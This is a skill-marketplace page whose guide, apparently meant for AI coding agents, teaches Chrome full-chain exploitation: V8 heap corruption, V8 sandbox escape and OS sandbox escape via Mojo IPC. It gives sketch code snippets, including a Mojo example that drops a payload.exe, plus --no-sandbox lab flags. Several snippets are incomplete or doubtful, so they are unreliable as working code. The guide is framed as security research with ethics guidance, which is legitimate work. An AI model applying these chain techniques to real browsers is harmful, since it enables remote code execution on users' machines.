# Chrome Exploitation Research

> Guide for Chrome browser exploitation research and full-chain vulnerability analysis. Use this skill when researching Chrome security, analyzing browser vulnerabilities, developing proof-of-concepts for CVEs, or understanding Chrome's multi-layered sandbox architecture. Trigger this skill for any Chrome exploitation questions, V8 sandbox escape techniques, Mojo IPC abuse, WebAssembly JIT bugs, or when setting up Chrome debugging environments for security research.

- Skill: `abelrguezr/chrome-exploitation-research` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/chrome-exploitation-research`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/chrome-exploitation-research/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/chrome-exploitation-research

---


# Chrome Exploitation Research Guide

A practical guide for security researchers analyzing Chrome browser vulnerabilities and developing full-chain exploitation techniques.

## When to Use This Skill

Use this skill when you need to:
- Understand Chrome's multi-process sandbox architecture
- Analyze or develop exploits for Chrome vulnerabilities
- Research V8 sandbox escape techniques
- Investigate Mojo IPC interface weaknesses
- Set up Chrome debugging environments for security research
- Study WebAssembly JIT compilation bugs
- Chain multiple vulnerabilities for full exploitation

## Chrome Architecture Overview

Chrome uses a layered defense-in-depth model with three main sandbox boundaries:

### Process Layout

```
+-------------------------------------------------------------------------+
|                             Chrome Browser                              |
|                                                                         |
|  +----------------------------+      +-----------------------------+    |
|  |      Renderer Process      |      |    Browser/main Process     |    |
|  |  [No direct OS access]     |      |  [OS access]                |    |
|  |  +----------------------+   |      |                             |    |
|  |  |    V8 Sandbox        |   |      |                             |    |
|  |  |  [JavaScript / Wasm] |   |      |                             |    |
|  |  +----------------------+   |      |                             |    |
|  +----------------------------+      +-----------------------------+    |
|               |           IPC/Mojo              |                       |
|               V                                    |                     |
|  +----------------------------+                   |                     |
|  |        GPU Process         |                   |                     |
|  |  [Restricted OS access]    |                   |                     |
|  +----------------------------+                   |                     |
+-------------------------------------------------------------------------+
```

### Three Sandbox Boundaries

1. **V8 Sandbox (Isolate)**: Memory permissions restricted for JITed JS/Wasm
2. **Renderer Sandbox**: No native filesystem/network access, isolated via Mojo/IPC
3. **OS Sandbox**: Platform-specific containment (Windows Integrity Levels, seccomp-bpf, macOS sandbox profiles)

## Full-Chain Exploitation Methodology

A remote attacker typically needs three successive primitives:

### Stage 1: V8 Heap Corruption

**Goal**: Achieve arbitrary read/write within V8 heap

**Common Vectors**:
- WebAssembly type confusion bugs
- JavaScript engine optimization flaws
- Memory corruption in V8 internals

**Example: WebAssembly Type Confusion**

```webassembly
(module
  (type $t0 (func (param externref) (result externref)))
  (func $f (param $p externref) (result externref)
    (local $l externref)
    block $exit
      loop $loop
        local.get $p      ;; value with real ref-type
        ;; compiler incorrectly re-uses it as int64 in the same block
        br_if $exit       ;; exit condition keeps us single-block
        br   $loop
      end
    end)
  (export "f" (func $f)))
```

**JavaScript Trigger**:

```javascript
const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;

// Warm-up for JIT optimization
for (let i = 0; i < 1e5; ++i) f({});

// Create primitives
let victim = {m: 13.37};
let fake = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);
```

**Outcome**: Arbitrary read/write (AAR/AAW) within V8 heap

### Stage 2: V8 Sandbox Escape

**Goal**: Escape from V8 sandbox to full renderer memory access

**Common Vectors**:
- Tier-up compilation wrapper bugs
- Signature mismatch in JS↔Wasm wrappers
- Object corruption during re-optimization

**Example: Wrapper Mismatch Exploitation**

```javascript
function wrapperGen(arg) {
  return f(arg);
}

// Force tier-up compilation (internals-only flag)
%WasmTierUpFunction(f);
wrapperGen(0x1337n);
```

**Key Steps**:
1. Get function into Tier-Up state by alternating turbofan/baseline code
2. Trigger tier-up while keeping a reference on the stack
3. Use Stage-1 AAR/AAW to find and corrupt adjacent objects
4. Overwrite trusted object fields (e.g., Tuple2) to gain renderer R/W

**Outcome**: Full read/write primitive on renderer process memory

### Stage 3: OS Sandbox Escape

**Goal**: Execute code outside Chrome's OS sandbox

**Common Vectors**:
- Mojo IPC interface logic flaws
- Privileged interface parameter validation bugs
- File system access through IPC

**Example: Mojo IPC Abuse**

```javascript
const payloadPath = "C:\\Users\\Public\\payload.exe";

chrome.webview.postMessage({
  type: "DragStart",
  data: {
    title: "MyFile",
    file_path: payloadPath,
    mime_type: "application/x-msdownload"
  }
});
```

**Key Insight**: Logic-level weaknesses in privileged Mojo IPC interfaces often require no additional memory corruption

**Outcome**: Remote Code Execution (RCE) with user privileges

## Lab Setup for Research

### Prerequisites

```bash
# Install HTTP server for serving PoCs
npm i -g http-server

# Clone exploit development repository
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev

# Start local server
http-server -p 8000 -c -1
```

### Chrome Debug Flags

Launch development Chrome with these flags for research:

```bash
# Windows
chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"

# Linux
./chrome --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"

# macOS
./Google\ Chrome.app/Contents/MacOS/Google\ Chrome --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
```

### Windows Kernel Debugging

```bash
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" \
  -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
```

## Research Workflow

### 1. Vulnerability Analysis

- Identify the affected component (V8, Mojo, renderer, etc.)
- Determine which sandbox boundary is targeted
- Map the exploitation chain required

### 2. PoC Development

- Create minimal reproduction case
- Test on development Chrome builds
- Verify reliability and stability

### 3. Chain Construction

- Combine primitives in correct order
- Handle timing and state dependencies
- Test across different Chrome versions

### 4. Validation

- Confirm each stage works independently
- Verify full chain execution
- Document version compatibility

## Safety and Ethics

**⚠️ Critical Guidelines**:

1. **Legal Authorization**: Only test on systems you own or have explicit written permission to test
2. **Research Purpose**: Use these techniques for legitimate security research, vulnerability disclosure, or defensive tool development
3. **Responsible Disclosure**: Follow responsible disclosure practices when finding vulnerabilities
4. **Environment Isolation**: Always test in isolated, controlled environments
5. **Documentation**: Maintain detailed records of research for reproducibility and disclosure

## Common Pitfalls

- **Timing Issues**: JIT optimization timing can be non-deterministic
- **Version Specificity**: Exploits often break across Chrome versions
- **ASLR/CFG**: Modern mitigations may require additional bypasses
- **Sandbox Variations**: OS sandbox behavior differs across platforms

## Resources

- [101 Chrome Exploitation Series](https://opzero.ru/en/press/101-chrome-exploitation-part-0-preface/)
- [Chromium Security Architecture](https://chromium.org/developers/design-documents/security)
- [V8 Internals Documentation](https://v8.dev/docs)
- [Mojo IPC Documentation](https://chromium.googlesource.com/chromium/src/+/main/mojo/README.md)

## Next Steps

After understanding the methodology:
1. Set up your research environment using the lab setup guide
2. Study existing PoCs for similar vulnerabilities
3. Practice with development Chrome builds
4. Document your findings systematically
5. Consider responsible disclosure for any discovered vulnerabilities